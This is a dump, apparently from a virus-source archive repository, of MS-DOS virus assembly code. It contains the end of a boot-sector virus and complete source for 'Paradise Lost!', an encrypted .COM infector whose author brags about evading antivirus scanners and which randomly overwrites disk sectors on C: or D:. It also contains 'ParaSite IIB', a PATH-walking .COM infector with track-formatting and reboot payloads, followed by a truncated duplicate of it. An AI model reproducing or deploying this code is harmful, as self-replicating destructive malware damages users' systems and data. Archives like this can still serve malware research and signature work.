mov byte ptr cursector,1 ; clear sector #
|
||||
inc curhead ; and go to next head
|
||||
cmp curhead,2 ; if not too large,
|
||||
jne donecalculate ; we are done
|
||||
mov curhead,0 ; otherwise clear head #
|
||||
inc byte ptr cursector+1 ; and advance cylinder
|
||||
donecalculate:
|
||||
retn
|
||||
|
||||
db 64h, 74h, 61h
|
||||
|
||||
; read buffer starts here
|
||||
; insert your favorite boot block below...
|
||||
readbuffer:
|
||||
brain ends
|
||||
end
|
242
MSDOS/Virus.MSDOS.Unknown.paralost.asm
Normal file
242
MSDOS/Virus.MSDOS.Unknown.paralost.asm
Normal file
@ -0,0 +1,242 @@
|
||||
; VirusName : PARADISE LOST!
|
||||
; Origin : Sweden
|
||||
; Author : The Unforgiven
|
||||
; Date : 20/12/93
|
||||
|
||||
; This is a "mutation", of Tormentor's .COM lession. I've modified
|
||||
; some stuffs, but since I liked the .EXE infector better, I didn't
|
||||
; cared too much about this one.
|
||||
|
||||
; Anyway, this is a non-resident current directory (yuck!), infector
|
||||
; of .COM programs. It've added a encryption routine, but it's nothing
|
||||
; really to scream hurray for.
|
||||
|
||||
; It's also a bit destructive, well, it's 5% chance at each run, that
|
||||
; one of drive c: or d: gets kinda phucked up. This routine was as
|
||||
; usual "stolen" from Nowhere Man of NuKE. I must admit I like it!
|
||||
|
||||
; Scan/MSAV/CPAV and F-prot can't find as usual find shits! I think
|
||||
; that ThunderByte AntiVirus heurtistic scanner found the infected
|
||||
; files as "probably/possible" infected, I really dunno, you try it
|
||||
; out by your self!
|
||||
|
||||
; "We do not live forever, but mind never leaves our souls." (Dark Image).
|
||||
|
||||
;=============================================================================
|
||||
; **** PARADISE LOST! ****
|
||||
;=============================================================================
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
|
||||
|
||||
org 100
|
||||
|
||||
dummy_code: db 'M' ; Mark file as infected.
|
||||
db 3 DUP(90) ; This is to simulate a infected prog.
|
||||
; Not included in virus-code.
|
||||
|
||||
Virus_Start: call where_we_are ; Now we call the next bytes, just to
|
||||
|
||||
; F-prot founded the 'lession -1'virus here in the unencrypted area, but by
|
||||
; simple add the push si, and the extra pop, it compleatele screwed up, and
|
||||
; couldn't found it as nothing!, HA! Eat dust, looser!
|
||||
|
||||
where_we_are: push si
|
||||
pop si ; Since the virus-code's address will
|
||||
pop si
|
||||
|
||||
;-----------------------------------------------------------------------
|
||||
; Now we have to put back the original 4 bytes in the host program, so
|
||||
; we can return control to it later:
|
||||
add si,_4first_bytes-where_we_are
|
||||
mov di,100
|
||||
cld
|
||||
movsw
|
||||
movsw
|
||||
;------------------------------------------------------------------------
|
||||
; We have to use SI as a reference since files differ in size thus making
|
||||
; virus to be located at different addresses.
|
||||
|
||||
sub si,_4first_bytes-Virus_Start+4
|
||||
|
||||
call encrypt_decrypt ; differ from victim to victim.
|
||||
jmp encryption_start ; a POP SI after a call will give us the
|
||||
; address which equals to 'where_we_are'
|
||||
; Very important.
|
||||
write_virus:
|
||||
call encrypt_decrypt
|
||||
mov ah,40 ; Append file with virus code.
|
||||
mov cx,offset Virus_Lenght
|
||||
mov dx,si ; Virus_Lenght.
|
||||
int 21
|
||||
call encrypt_decrypt
|
||||
ret
|
||||
|
||||
encryption_value dw 0
|
||||
encrypt_decrypt:
|
||||
|
||||
mov di,offset encryption_start-virus_start
|
||||
add di,si
|
||||
mov cx,(end_of_encryption-encryption_start+1)/2
|
||||
|
||||
push bx
|
||||
mov bx,offset encryption_value-virus_start
|
||||
add bx,si
|
||||
mov dx,word ptr [bx]
|
||||
pop bx
|
||||
|
||||
again:
|
||||
xor word ptr cs:[di],dx
|
||||
add di,2
|
||||
loop again
|
||||
ret
|
||||
;------------------------------------------------------------------------
|
||||
; Now we just have to find victims, we will look for ALL .COM files in
|
||||
; the current directory.
|
||||
|
||||
encryption_start:
|
||||
;set_dta:
|
||||
mov ah,1ah
|
||||
lea dx,[si+offset dta-virus_start]
|
||||
int 21h
|
||||
mov ah,4e ; We start to look for a *.COM file
|
||||
look4victim: mov dx,offset file_match-Virus_Start
|
||||
add dx,si
|
||||
int 21
|
||||
|
||||
jc no_victim_found
|
||||
|
||||
; clear attribs: before open file
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx,[si+virus_end+1eh]
|
||||
int 21h
|
||||
mov ax,3d02 ; Now we open the file.
|
||||
lea dx,[si+offset DTA-virus_start+1eh] ;now also including
|
||||
int 21 ; DTA.
|
||||
jc cant_open_file ; If file couldn't be open.
|
||||
|
||||
xchg ax,bx ; Save filehandle in bx
|
||||
; (we could use MOV BX,AX but we saves one byte by using xchg )
|
||||
|
||||
mov ah,3f ; Now we read the first 4 bytes
|
||||
mov cx,4 ; from the victim -> buffer
|
||||
|
||||
mov dx,offset _4first_bytes-Virus_Start
|
||||
add dx,si
|
||||
; We will then overwrite them with
|
||||
int 21 ; a JMP XXXX to virus-code at end.
|
||||
|
||||
jc read_error
|
||||
|
||||
cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
|
||||
jz sick_or_EXE ; Check if infected OR *.EXE
|
||||
|
||||
; Almost all EXE files starts with 'M' and we mark the infected files by
|
||||
; starting with 'M' which equals to DEC BP
|
||||
; Now we just have to have one check instead of 2 (infected and *.EXE)
|
||||
|
||||
mov ax,4202 ; Position file-pointer to point at
|
||||
xor cx,cx ; End-of-File.
|
||||
xor dx,dx ; Any writing to file will now APPEND it
|
||||
int 21 ; Returns AX -> at end.
|
||||
|
||||
sub ax,4 ; Just for the JMP structure.
|
||||
|
||||
mov word ptr ds:[_4new_bytes+2],ax
|
||||
; Build new JMP XXXX to virus.
|
||||
; ( logic: JMP AX )
|
||||
|
||||
mov word ptr [si+encryption_value-virus_start],99 ; encryption_value.
|
||||
call write_virus
|
||||
|
||||
;
|
||||
; mov ah,40 ; Append file with virus code.
|
||||
; mov cx,offset Virus_Lenght
|
||||
; mov dx,si ; Virus_Lenght.
|
||||
; int 21
|
||||
; jc write_error
|
||||
|
||||
|
||||
mov ax,4200 ; Position file-pointer to begin of file
|
||||
xor cx,cx ; So we can change the first 3 bytes
|
||||
xor dx,dx ; to JMP to virus.
|
||||
int 21
|
||||
|
||||
mov ah,40 ; Write new 3 bytes.
|
||||
mov cx,4 ; After this, executing the file will
|
||||
mov dx,offset _4new_bytes-Virus_Start
|
||||
add dx,si
|
||||
; result in virus-code executing before
|
||||
int 21 ; original code.
|
||||
jc write_error
|
||||
|
||||
; then close the file.
|
||||
mov ah,3e ; Close file, now file is infected.
|
||||
int 21 ; Dos function 3E (close handle)
|
||||
|
||||
Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's
|
||||
jmp look4victim ; find another victim...
|
||||
|
||||
write_error: ; Here you can test whats went wrong.
|
||||
read_error: ; This is just for debugging purpose.
|
||||
cant_open_file: ; These entries are equal to eachother
|
||||
no_victim_found: ; but could be changed if you need to test something.
|
||||
|
||||
; randomize:
|
||||
mov ah,2ch ;get a new random number
|
||||
int 21h ;5% chance of nuke
|
||||
cmp dl,5
|
||||
ja real_quit
|
||||
jmp which
|
||||
|
||||
which:
|
||||
mov ah,2ch
|
||||
int 21h
|
||||
cmp dl,50
|
||||
ja nuke_c
|
||||
jmp nuke_d
|
||||
|
||||
nuke_c:
|
||||
cli ;
|
||||
mov ah,2 ; 2=c:
|
||||
cwd ;
|
||||
mov cx,0100h ;
|
||||
int 026h ;
|
||||
JMP REAL_QUIT
|
||||
|
||||
nuke_d:
|
||||
cli
|
||||
mov ah,3 ; 3=d:
|
||||
cwd
|
||||
mov cx,0100h
|
||||
int 026h
|
||||
jmp real_quit
|
||||
|
||||
real_quit:
|
||||
mov ax,100 ; Every thing is put back in memory,
|
||||
push ax ; lets us RET back to start of program
|
||||
ret ; and execute the original program.
|
||||
|
||||
notes db '[PARADIS LOST!] (c) 93 The Unforgiven/Immortal Riot'
|
||||
file_match db '*.COM',0 ; Pattern to search for.
|
||||
|
||||
end_of_encryption:
|
||||
_4first_bytes: ret ; Here we save the 4 first org. bytes
|
||||
db 3 DUP(0)
|
||||
; We have a ret here since this file isn't a REAL infection.
|
||||
|
||||
_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes
|
||||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||
attribute equ 21 ; Offset in DTA of file attribute
|
||||
|
||||
|
||||
; so our virus-code will be run first.
|
||||
Virus_End EQU $
|
||||
dta db 42 DUP (?)
|
||||
end dummy_code
|
418
MSDOS/Virus.MSDOS.Unknown.parasite.903.asm
Normal file
418
MSDOS/Virus.MSDOS.Unknown.parasite.903.asm
Normal file
@ -0,0 +1,418 @@
|
||||
;********************************************************************
|
||||
; <PARSIT2B.ASM> - ParaSite Virus IIB
|
||||
; By: Rock Steady
|
||||
; Close to one year I created this Virus. As you can see it is quite
|
||||
; old... Maybe too Old... But here it is... It Sucks... but its great
|
||||
; for any virus beginner... Anyhow...
|
||||
; NOTES: Simple COM infector. 10% of the time it reboots the system
|
||||
; 20% it plays machine gun noices on the PC speaker... and
|
||||
; 70% of the time is infects another COM file... Have fun...
|
||||
;********************************************************************
|
||||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG 100H
|
||||
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
NOP
|
||||
NOP ; To identify it as an Infected
|
||||
NOP ; Program!
|
||||
|
||||
v_start equ $
|
||||
|
||||
|
||||
virus: PUSH CX
|
||||
MOV DX,OFFSET vir_dat
|
||||
CLD
|
||||
MOV SI,DX
|
||||
ADD SI,first_3
|
||||
JMP Rock_1
|
||||
Rock_2:
|
||||
MOV DX,dta
|
||||
ADD DX,SI
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0
|
||||
JMP Day_Of_Week
|
||||
Rock_1:
|
||||
MOV CX,3
|
||||
MOV DI,OFFSET 100H
|
||||
REPZ MOVSB
|
||||
MOV SI,DX
|
||||
PUSH ES
|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES
|
||||
POP ES
|
||||
JMP Rock_2
|
||||
|
||||
Day_Of_Week:
|
||||
MOV AH,2AH ;Get System date!
|
||||
INT 21H
|
||||
CMP AL,1 ;Check to See if it's Monday!
|
||||
JGE day_check ;Jump if later than Mondays
|
||||
JMP Get_Time
|
||||
day_check:
|
||||
CMP AL,1 ;Check to see if it is the 1st
|
||||
JA Get_Time ;If yes, create a MESS...
|
||||
JMP Bad_Mondays ;If not, then go on with infecti
|
||||
mess:
|
||||
|
||||
Bad_Mondays:
|
||||
MOV DL,2 ;The Formatting Tracks..
|
||||
MOV AH,05
|
||||
MOV DH,80h
|
||||
MOV CH,0
|
||||
INT 13h
|
||||
|
||||
Play_music:
|
||||
MOV CX,20d ;Set number of Shots
|
||||
new_shot:
|
||||
PUSH CX ;Save Count
|
||||
CALL Shoot
|
||||
MOV CX,4000H
|
||||
Silent: LOOP silent
|
||||
POP CX
|
||||
LOOP new_Shot
|
||||
JMP mess
|
||||
|
||||
SHOOT proc near ;The Machine Gun Noices...
|
||||
MOV DX,140h
|
||||
MOV BX,20h
|
||||
IN AL,61h
|
||||
AND AL,11111100b
|
||||
SOUND: XOR AL,2
|
||||
OUT 61h,al
|
||||
ADD dx,9248h
|
||||
MOV CL,3
|
||||
ROR DX,CL
|
||||
MOV CX,DX
|
||||
AND cx,1ffh
|
||||
OR CX,10
|
||||
WAITA: LOOP WAITA
|
||||
DEC BX
|
||||
JNZ SOUND
|
||||
AND AL,11111100b
|
||||
OUT 61h,AL
|
||||
RET
|
||||
Shoot Endp
|
||||
|
||||
Get_Time:
|
||||
MOV AH,2Ch ; Get System Time!
|
||||
INT 21h ;
|
||||
AND DH,0fh
|
||||
CMP DH,3
|
||||
JB Play_music
|
||||
CMP DH,3h
|
||||
JA Find_Path
|
||||
INT 19h
|
||||
|
||||
go:
|
||||
MOV AH, 47H
|
||||
XOR DL,DL
|
||||
ADD SI, OFFSET orig_path - OFFSET buffer - 8
|
||||
INT 21H
|
||||
JC find_path
|
||||
|
||||
MOV AH,3BH
|
||||
MOV DX,SI
|
||||
ADD DX, OFFSET root_dir - OFFSET orig_path
|
||||
INT 21H
|
||||
|
||||
infect_root:
|
||||
MOV [BX+nam_ptr],DI
|
||||
MOV SI,BX
|
||||
ADD SI,f_ipec
|
||||
MOV CX,6
|
||||
REPZ MOVSB
|
||||
JMP hello
|
||||
|
||||
find_path:
|
||||
POP SI ; Seek and Destroy...
|
||||
PUSH SI
|
||||
ADD SI,env_str
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H
|
||||
REPNZ SCASB
|
||||
MOV CX,4
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
;
|
||||
; The JNZ line specifies that if there is no PATH present, then we will
|
||||
; along and infect the ROOT directory on the default drive.
|
||||
|
||||
JNZ find_path ;If not path, then go to ROOT di
|
||||
LOOP check_next_4 ;Go back and check for more char
|
||||
POP SI ;Load in PATH again to look for
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc
|
||||
MOV BX,SI
|
||||
ADD SI,wrk_spc ;the File Handle
|
||||
MOV DI,SI
|
||||
JMP SHORT slash_ok
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0
|
||||
JNZ found_subdir
|
||||
JMP all_done
|
||||
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad]
|
||||
ADD DI,wrk_spc ;DI is the handle to infect!
|
||||
|
||||
|
||||
move_subdir:
|
||||
LODSB ;To tedious work to move into su
|
||||
NOP
|
||||
CMP AL,';' ;Does it end with a ; character?
|
||||
JZ moved_one ;if yes, then we found a subdir
|
||||
CMP AL,0 ;is it the end of the path?
|
||||
JZ moved_last_one ;if yes, then we save the PATH
|
||||
STOSB ;marker into DI for future refer
|
||||
JMP SHORT move_subdir
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
moved_one:
|
||||
POP BX ;BX is where the virus data is
|
||||
POP DS ;Restore DS
|
||||
NOP
|
||||
MOV [BX+path_ad],SI ;Where is the next subdir?
|
||||
CMP CH,'\' ;Check to see if it ends in \
|
||||
JZ slash_ok ;If yes, then it's OK
|
||||
MOV AL,'\' ;if not, then add one...
|
||||
STOSB ;store the sucker
|
||||
|
||||
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Move the filename into workspac
|
||||
MOV SI,BX ;Restore the original SI value
|
||||
ADD SI,f_spec ;Point to COM file victim
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move victim into workspace
|
||||
hello:
|
||||
MOV SI,BX
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI ;DX is ... The File to infect
|
||||
MOV CX,3 ;Attributes of Read Only or Hidd
|
||||
INT 21H
|
||||
JMP SHORT find_first
|
||||
joe1:
|
||||
JMP go
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirec
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1EH ;Mask to remove all but seconds
|
||||
CMP AL,1EH ;60 seconds
|
||||
JZ find_next
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
|
||||
JA find_next ;If too long, find another one
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
MOV DI,[SI+nam_ptr]
|
||||
PUSH SI
|
||||
ADD SI,dta_nam
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV [SI+old_att],CX
|
||||
MOV AX,OFFSET 4301H
|
||||
AND CX,OFFSET 0FFFEH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV AX,OFFSET 3D02H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
JNB opened_ok
|
||||
JMP fix_attr
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
AND DH,7
|
||||
JMP infect
|
||||
|
||||
|
||||
infect:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
JB fix_time_stamp
|
||||
CMP AX,3
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV CX,AX
|
||||
SUB AX,3
|
||||
MOV [SI+jmp_dsp],AX
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI
|
||||
SUB DI,OFFSET c_len_x
|
||||
JMP CONT
|
||||
JOE2:
|
||||
JMP JOE1
|
||||
CONT:
|
||||
MOV [DI],CX
|
||||
MOV AH,40H
|
||||
MOV_CX virlen
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
CMP AX,OFFSET virlen
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI
|
||||
ADD DX,jmp_op
|
||||
INT 21H
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date]
|
||||
MOV CX,[SI+old_tim]
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1EH
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att]
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
POP DS
|
||||
|
||||
quit:
|
||||
MOV BX,OFFSET count
|
||||
CMP BX,0
|
||||
JB joe2
|
||||
POP CX
|
||||
XOR AX,AX ;XOR values so that we will give
|
||||
XOR BX,BX ;poor sucker a hard time trying
|
||||
XOR DX,DX ;reassemble the source code if h
|
||||
XOR SI,SI ;decides to dissassemble us.
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
RET 0FFFFH ;Return back to the beginning
|
||||
;of the program
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
Aurther DB "ParaSite IIB - By: Rock Steady"
|
||||
olddta_ DW 0
|
||||
olddts_ DW 0
|
||||
oldtim_ DW 0
|
||||
count_ DW 0
|
||||
oldate_ DW 0
|
||||
oldatt_ DW 0
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
jmpop_ DB 0E9H
|
||||
jmpdsp_ DW 0
|
||||
fspec_ DB '*.COM',0
|
||||
fipec_ DB 'COMMAND.COM',0
|
||||
pathad_ DW 0
|
||||
namptr_ DW 0
|
||||
envstr_ DB 'PATH='
|
||||
wrkspc_ DB 40h dup (0)
|
||||
dta_ DB 16h dup (0)
|
||||
dtatim_ DW 0,0
|
||||
dtalen_ DW 0,0
|
||||
dtanam_ DB 0Dh dup (0)
|
||||
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
orig_path DB 64 dup (?)
|
||||
root_dir DB '\',0
|
||||
lst_byt EQU $
|
||||
virlen = lst_byt - v_start
|
||||
codelen = vir_dat - v_start
|
||||
c_len_x = vir_dat - v_start - 2
|
||||
c_len_y = vir_dat - v_start + 100H
|
||||
old_dta = olddta_ - vir_dat
|
||||
old_dts = olddts_ - vir_dat
|
||||
old_tim = oldtim_ - vir_dat
|
||||
ol_date = oldate_ - vir_dat
|
||||
old_att = oldatt_ - vir_dat
|
||||
first_3 = first3_ - vir_dat
|
||||
jmp_op = jmpop_ - vir_dat
|
||||
jmp_dsp = jmpdsp_ - vir_dat
|
||||
f_spec = fspec_ - vir_dat
|
||||
f_ipec = fipec_ - vir_dat
|
||||
path_ad = pathad_ - vir_dat
|
||||
nam_ptr = namptr_ - vir_dat
|
||||
env_str = envstr_ - vir_dat
|
||||
wrk_spc = wrkspc_ - vir_dat
|
||||
dta = dta_ - vir_dat
|
||||
dta_tim = dtatim_ - vir_dat
|
||||
dta_len = dtalen_ - vir_dat
|
||||
dta_nam = dtanam_ - vir_dat
|
||||
count = count_ - vir_dat
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
418
MSDOS/Virus.MSDOS.Unknown.parasite.asm
Normal file
418
MSDOS/Virus.MSDOS.Unknown.parasite.asm
Normal file
@ -0,0 +1,418 @@
|
||||
;********************************************************************
|
||||
; <PARSIT2B.ASM> - ParaSite Virus IIB
|
||||
; By: Rock Steady
|
||||
; Close to one year I created this Virus. As you can see it is quite
|
||||
; old... Maybe too Old... But here it is... It Sucks... but its great
|
||||
; for any virus beginner... Anyhow...
|
||||
; NOTES: Simple COM infector. 10% of the time it reboots the system
|
||||
; 20% it plays machine gun noices on the PC speaker... and
|
||||
; 70% of the time is infects another COM file... Have fun...
|
||||
;********************************************************************
|
||||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG 100H
|
||||
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
NOP
|
||||
NOP ; To identify it as an Infected
|
||||
NOP ; Program!
|
||||
|
||||
v_start equ $
|
||||
|
||||
|
||||
virus: PUSH CX
|
||||
MOV DX,OFFSET vir_dat
|
||||
CLD
|
||||
MOV SI,DX
|
||||
ADD SI,first_3
|
||||
JMP Rock_1
|
||||
Rock_2:
|
||||
MOV DX,dta
|
||||
ADD DX,SI
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0
|
||||
JMP Day_Of_Week
|
||||
Rock_1:
|
||||
MOV CX,3
|
||||
MOV DI,OFFSET 100H
|
||||
REPZ MOVSB
|
||||
MOV SI,DX
|
||||
PUSH ES
|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES
|
||||
POP ES
|
||||
JMP Rock_2
|
||||
|
||||
Day_Of_Week:
|
||||
MOV AH,2AH ;Get System date!
|
||||
INT 21H
|
||||
CMP AL,1 ;Check to See if it's Monday!
|
||||
JGE day_check ;Jump if later than Mondays
|
||||
JMP Get_Time
|
||||
day_check:
|
||||
CMP AL,1 ;Check to see if it is the 1st
|
||||
JA Get_Time ;If yes, create a MESS...
|
||||
JMP Bad_Mondays ;If not, then go on with infecti
|
||||
mess:
|
||||
|
||||
Bad_Mondays:
|
||||
MOV DL,2 ;The Formatting Tracks..
|
||||
MOV AH,05
|
||||
MOV DH,80h
|
||||
MOV CH,0
|
||||
INT 13h
|
||||
|
||||
Play_music:
|
||||
MOV CX,20d ;Set number of Shots
|
||||
new_shot:
|
||||
PUSH CX ;Save Count
|
||||
CALL Shoot
|
||||
MOV CX,4000H
|
||||
Silent: LOOP silent
|
||||
POP CX
|
||||
LOOP new_Shot
|
||||
JMP mess
|
||||
|
||||
SHOOT proc near ;The Machine Gun Noices...
|
||||
MOV DX,140h
|
||||
MOV BX,20h
|
||||
IN AL,61h
|
||||
AND AL,11111100b
|
||||
SOUND: XOR AL,2
|
||||
OUT 61h,al
|
||||
ADD dx,9248h
|
||||
MOV CL,3
|
||||
ROR DX,CL
|
||||
MOV CX,DX
|
||||
AND cx,1ffh
|
||||
OR CX,10
|
||||
WAITA: LOOP WAITA
|
||||
DEC BX
|
||||
JNZ SOUND
|
||||
AND AL,11111100b
|
||||
OUT 61h,AL
|
||||
RET
|
||||
Shoot Endp
|
||||
|
||||
Get_Time:
|
||||
MOV AH,2Ch ; Get System Time!
|
||||
INT 21h ;
|
||||
AND DH,0fh
|
||||
CMP DH,3
|
||||
JB Play_music
|
||||
CMP DH,3h
|
||||
JA Find_Path
|
||||
INT 19h
|
||||
|
||||
go:
|
||||
MOV AH, 47H
|
||||
XOR DL,DL
|
||||
ADD SI, OFFSET orig_path - OFFSET buffer - 8
|
||||
INT 21H
|
||||
JC find_path
|
||||
|
||||
MOV AH,3BH
|
||||
MOV DX,SI
|
||||
ADD DX, OFFSET root_dir - OFFSET orig_path
|
||||
INT 21H
|
||||
|
||||
infect_root:
|
||||
MOV [BX+nam_ptr],DI
|
||||
MOV SI,BX
|
||||
ADD SI,f_ipec
|
||||
MOV CX,6
|
||||
REPZ MOVSB
|
||||
JMP hello
|
||||
|
||||
find_path:
|
||||
POP SI ; Seek and Destroy...
|
||||
PUSH SI
|
||||
ADD SI,env_str
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H
|
||||
REPNZ SCASB
|
||||
MOV CX,4
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
;
|
||||
; The JNZ line specifies that if there is no PATH present, then we will
|
||||
; along and infect the ROOT directory on the default drive.
|
||||
|
||||
JNZ find_path ;If not path, then go to ROOT di
|
||||
LOOP check_next_4 ;Go back and check for more char
|
||||
POP SI ;Load in PATH again to look for
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc
|
||||
MOV BX,SI
|
||||
ADD SI,wrk_spc ;the File Handle
|
||||
MOV DI,SI
|
||||
JMP SHORT slash_ok
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0
|
||||
JNZ found_subdir
|
||||
JMP all_done
|
||||
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad]
|
||||
ADD DI,wrk_spc ;DI is the handle to infect!
|
||||
|
||||
|
||||
move_subdir:
|
||||
LODSB ;To tedious work to move into su
|
||||
NOP
|
||||
CMP AL,';' ;Does it end with a ; character?
|
||||
JZ moved_one ;if yes, then we found a subdir
|
||||
CMP AL,0 ;is it the end of the path?
|
||||
JZ moved_last_one ;if yes, then we save the PATH
|
||||
STOSB ;marker into DI for future refer
|
||||
JMP SHORT move_subdir
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
moved_one:
|
||||
POP BX ;BX is where the virus data is
|
||||
POP DS ;Restore DS
|
||||
NOP
|
||||
MOV [BX+path_ad],SI ;Where is the next subdir?
|
||||
CMP CH,'\' ;Check to see if it ends in \
|
||||
JZ slash_ok ;If yes, then it's OK
|
||||
MOV AL,'\' ;if not, then add one...
|
||||
STOSB ;store the sucker
|
||||
|
||||
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Move the filename into workspac
|
||||
MOV SI,BX ;Restore the original SI value
|
||||
ADD SI,f_spec ;Point to COM file victim
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move victim into workspace
|
||||
hello:
|
||||
MOV SI,BX
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI ;DX is ... The File to infect
|
||||
MOV CX,3 ;Attributes of Read Only or Hidd
|
||||
INT 21H
|
||||
JMP SHORT find_first
|
||||
joe1:
|
||||
JMP go
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirec
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1EH ;Mask to remove all but seconds
|
||||
CMP AL,1EH ;60 seconds
|
||||
JZ find_next
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
|
||||
JA find_next ;If too long, find another one
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
MOV DI,[SI+nam_ptr]
|
||||
PUSH SI
|
||||
ADD SI,dta_nam
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars
|
||||
